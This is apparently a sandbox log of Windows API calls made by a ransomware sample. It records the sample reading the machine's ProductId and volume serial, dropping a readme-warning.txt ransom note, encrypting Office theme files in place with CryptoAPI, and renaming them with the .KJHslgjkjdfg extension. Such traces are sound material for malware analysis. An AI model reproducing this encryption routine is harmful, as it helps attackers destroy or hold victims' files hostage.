FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2d35, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0174.067] GetProcessHeap () returned 0x2ef0000 [0174.067] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0174.067] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0174.067] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0174.067] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.067] GetProcessHeap () returned 0x2ef0000 [0174.067] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0174.067] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0174.067] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0174.067] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.067] GetProcessHeap () returned 0x2ef0000 [0174.067] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f14588 [0174.068] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0174.068] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14588, pdwDataLen=0x4dfee20 | out: pbData=0x2f14588, pdwDataLen=0x4dfee20) returned 1 [0174.068] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.068] GetProcessHeap () returned 0x2ef0000 [0174.068] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0174.068] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0174.068] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0174.068] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.068] GetProcessHeap () returned 0x2ef0000 [0174.068] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0174.068] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0174.068] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0174.068] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.068] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x12c) returned 0x0 [0174.068] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0174.068] RegCloseKey (hKey=0x12c) returned 0x0 [0174.068] GetProcessHeap () returned 0x2ef0000 [0174.068] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0174.068] GetProcessHeap () returned 0x2ef0000 [0174.069] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0174.069] GetProcessHeap () returned 0x2ef0000 [0174.069] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0174.069] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0174.069] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0174.069] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.069] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0174.069] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0174.069] GetProcessHeap () returned 0x2ef0000 [0174.069] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0174.069] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0174.069] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0174.069] GetProcessHeap () returned 0x2ef0000 [0174.069] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f11d10 [0174.069] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\readme-warning.txt") returned 82 [0174.069] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0174.077] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11d10*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f11d10*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0174.078] CloseHandle (hObject=0x12c) returned 1 [0174.078] GetProcessHeap () returned 0x2ef0000 [0174.078] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0174.079] GetProcessHeap () returned 0x2ef0000 [0174.079] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0174.079] GetProcessHeap () returned 0x2ef0000 [0174.079] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0174.079] GetProcessHeap () returned 0x2ef0000 [0174.079] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0174.079] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0174.079] GetProcessHeap () returned 0x2ef0000 [0174.079] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10788 | out: hHeap=0x2ef0000) returned 1 [0174.079] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PAPYRUS", cAlternateFileName="")) returned 1 [0174.079] GetProcessHeap () returned 0x2ef0000 [0174.079] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x90) returned 0x2f425d0 [0174.079] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0174.093] GetProcessHeap () returned 0x2ef0000 [0174.093] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f425d0 | out: hHeap=0x2ef0000) returned 1 [0174.093] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0174.093] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x140f5c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x140f5c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x166d5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PAPYRUS.ELM", cAlternateFileName="")) returned 1 [0174.094] GetProcessHeap () returned 0x2ef0000 [0174.094] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x292) returned 0x2f10788 [0174.094] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0174.094] GetProcessHeap () returned 0x2ef0000 [0174.094] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0174.094] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0174.094] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0174.094] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xb, lpOverlapped=0x0) returned 1 [0174.096] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0174.096] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0174.096] GetProcessHeap () returned 0x2ef0000 [0174.096] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0174.096] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0174.096] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.096] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0174.097] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0174.097] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0174.097] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0174.097] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0174.097] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0174.097] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0174.097] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0174.097] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.097] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x166d5, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x166d5, lpOverlapped=0x0) returned 1 [0174.099] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x166e0, dwBufLen=0x166e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x166e0) returned 1 [0174.099] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.099] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x166e0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x166e0, lpOverlapped=0x0) returned 1 [0174.100] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.100] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x167b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.100] SetEndOfFile (hFile=0x12c) returned 1 [0174.103] GetProcessHeap () returned 0x2ef0000 [0174.103] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0174.103] GetProcessHeap () returned 0x2ef0000 [0174.103] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0174.103] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm.kjhslgjkjdfg")) returned 1 [0174.104] CloseHandle (hObject=0x12c) returned 1 [0174.104] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PAPYRUS.INF", cAlternateFileName="")) returned 1 [0174.104] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0174.105] GetProcessHeap () returned 0x2ef0000 [0174.105] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0174.105] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0174.105] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0174.105] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xc, lpOverlapped=0x0) returned 1 [0174.107] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0174.107] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0174.107] GetProcessHeap () returned 0x2ef0000 [0174.107] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0174.107] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0174.107] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.107] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0174.107] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0174.107] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0174.107] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0174.107] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0174.108] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0174.108] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0174.108] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0174.108] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.108] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1f4, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x1f4, lpOverlapped=0x0) returned 1 [0174.108] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x200, dwBufLen=0x200 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x200) returned 1 [0174.108] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.108] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x200, lpOverlapped=0x0) returned 1 [0174.108] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.108] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x2d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.108] SetEndOfFile (hFile=0x12c) returned 1 [0174.110] GetProcessHeap () returned 0x2ef0000 [0174.110] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0174.110] GetProcessHeap () returned 0x2ef0000 [0174.110] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0174.111] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf.kjhslgjkjdfg")) returned 1 [0174.117] CloseHandle (hObject=0x12c) returned 1 [0174.117] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa0e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0174.117] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0174.117] GetProcessHeap () returned 0x2ef0000 [0174.117] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0174.117] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0174.117] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0174.117] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x2, lpOverlapped=0x0) returned 1 [0174.130] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0174.130] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0174.130] GetProcessHeap () returned 0x2ef0000 [0174.130] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0174.130] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0174.130] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.130] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0174.130] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0174.130] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 